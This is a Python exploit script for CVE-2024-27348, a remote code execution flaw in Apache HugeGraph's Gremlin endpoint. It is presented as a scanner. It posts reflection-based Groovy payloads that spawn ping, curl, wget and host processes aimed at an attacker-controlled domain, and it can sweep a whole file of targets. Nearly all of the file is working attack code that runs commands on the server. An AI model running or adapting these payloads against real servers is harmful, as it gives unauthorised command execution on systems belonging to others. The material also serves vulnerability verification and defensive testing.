CVE-2024-27348_Scanner.py

import requests
import argparse
import json


def exploit(target, port, domain):
    url = f"{target}:{port}/gremlin"
    headers = {
        "Content-Type": "application/json"
    }
    ping_payload = {
        "gremlin": f"Thread thread = Thread.currentThread();Class clz = Class.forName(\"java.lang.Thread\");java.lang.reflect.Field field = clz.getDeclaredField(\"name\");field.setAccessible(true);field.set(thread, \"SL7\");Class processBuilderClass = Class.forName(\"java.lang.ProcessBuilder\");java.lang.reflect.Constructor constructor = processBuilderClass.getConstructor(java.util.List.class);java.util.List command = java.util.Arrays.asList(\"ping\", \"{domain}\");Object processBuilderInstance = constructor.newInstance(command);java.lang.reflect.Method startMethod = processBuilderClass.getMethod(\"start\");startMethod.invoke(processBuilderInstance);",
        "bindings": {},
        "language": "gremlin-groovy",
        "aliases": {}
    }
    curl_payload = {
        "gremlin": f"Thread thread = Thread.currentThread();Class clz = Class.forName(\"java.lang.Thread\");java.lang.reflect.Field field = clz.getDeclaredField(\"name\");field.setAccessible(true);field.set(thread, \"SL7\");Class processBuilderClass = Class.forName(\"java.lang.ProcessBuilder\");java.lang.reflect.Constructor constructor = processBuilderClass.getConstructor(java.util.List.class);java.util.List command = java.util.Arrays.asList(\"curl\", \"{domain}\");Object processBuilderInstance = constructor.newInstance(command);java.lang.reflect.Method startMethod = processBuilderClass.getMethod(\"start\");startMethod.invoke(processBuilderInstance);",
        "bindings": {},
        "language": "gremlin-groovy",
        "aliases": {}
    }
    wget_payload = {
        "gremlin": f"Thread thread = Thread.currentThread();Class clz = Class.forName(\"java.lang.Thread\");java.lang.reflect.Field field = clz.getDeclaredField(\"name\");field.setAccessible(true);field.set(thread, \"SL7\");Class processBuilderClass = Class.forName(\"java.lang.ProcessBuilder\");java.lang.reflect.Constructor constructor = processBuilderClass.getConstructor(java.util.List.class);java.util.List command = java.util.Arrays.asList(\"wget\", \"{domain}\");Object processBuilderInstance = constructor.newInstance(command);java.lang.reflect.Method startMethod = processBuilderClass.getMethod(\"start\");startMethod.invoke(processBuilderInstance);",
        "bindings": {},
        "language": "gremlin-groovy",
        "aliases": {}
    }
    host_payload = {
        "gremlin": f"Thread thread = Thread.currentThread();Class clz = Class.forName(\"java.lang.Thread\");java.lang.reflect.Field field = clz.getDeclaredField(\"name\");field.setAccessible(true);field.set(thread, \"SL7\");Class processBuilderClass = Class.forName(\"java.lang.ProcessBuilder\");java.lang.reflect.Constructor constructor = processBuilderClass.getConstructor(java.util.List.class);java.util.List command = java.util.Arrays.asList(\"host\", \"{domain}\");Object processBuilderInstance = constructor.newInstance(command);java.lang.reflect.Method startMethod = processBuilderClass.getMethod(\"start\");startMethod.invoke(processBuilderInstance);",
        "bindings": {},
        "language": "gremlin-groovy",
        "aliases": {}
    }

    try:
        response = requests.post(url, headers=headers, data=json.dumps(ping_payload), verify=False, timeout=10)
        if response.status_code == 200 or "\"code\":200" in response.text:
            print(f"[+] {target}:{port} is vulnerable!")
            print("[+] Ping command Response data:")
            print(response.text)
            response = requests.post(url, headers=headers, data=json.dumps(curl_payload), verify=False, timeout=10)
            print("[+] Curl command Response data:")
            print(response.text)
            response = requests.post(url, headers=headers, data=json.dumps(wget_payload), verify=False, timeout=10)
            print("[+] Wget command Response data:")
            print(response.text)
            response = requests.post(url, headers=headers, data=json.dumps(host_payload), verify=False, timeout=10)
            print("[+] Host command Response data:")
            print(response.text)
            print("")
        else:
            print(f"[-] Request failed with status code: {response.status_code}")
            print(f"[-] {target}:{port} may not be vulnerable")
            print(response.text)
            print("")
    except Exception as e:
        print(f"[!] There is Exception with {target}:{port}")


def process_targets(file, domain):
    with open(file, 'r') as f:
        for line in f:
            target, port = line.strip().split(',')
            exploit(target, port, domain)


if __name__ == "__main__":
    print("""
 ██████ ██    ██ ███████       ██████   ██████  ██████  ██   ██       ██████  ███████ ██████  ██   ██  █████  
██      ██    ██ ██                 ██ ██  ████      ██ ██   ██            ██      ██      ██ ██   ██ ██   ██ 
██      ██    ██ █████   █████  █████  ██ ██ ██  █████  ███████ █████  █████      ██   █████  ███████  █████  
██       ██  ██  ██            ██      ████  ██ ██           ██       ██         ██        ██      ██ ██   ██ 
 ██████   ████   ███████       ███████  ██████  ███████      ██       ███████    ██   ██████       ██  █████  

                                   Apache HugeGraph server RCE Scanner
                                            By: Zeyad Azima
                                  Github: https://github.com/Zeyad-Azima                                                                      


    """)
    parser = argparse.ArgumentParser(
        description="Exploit CVE-2024-27348 Gremlin RCE in HugeGraph server from 1.0.0 Before 1.3.0")
    parser.add_argument("--file", "-f", required=False,
                        help="File containing target addresses and ports W/ the following format:\nhttp://target,port\ne.x: http://localhost,8080")
    parser.add_argument("--target", "-t", required=False, help="Target IP address/domain")
    parser.add_argument("--port", "-p", required=False, help="Target port")
    parser.add_argument("--domain", "-d", required=False,
                        help="Attacker domain (Your own domain to check ping/requests log)")
    args = parser.parse_args()

    if args.file and args.domain:
        process_targets(args.file, args.domain)
    elif args.target and args.port and args.domain:
        exploit(args.target, args.port, args.domain)
    else:
        print("[!] Please Use targets file or a single target\nuse --help/-h for more information")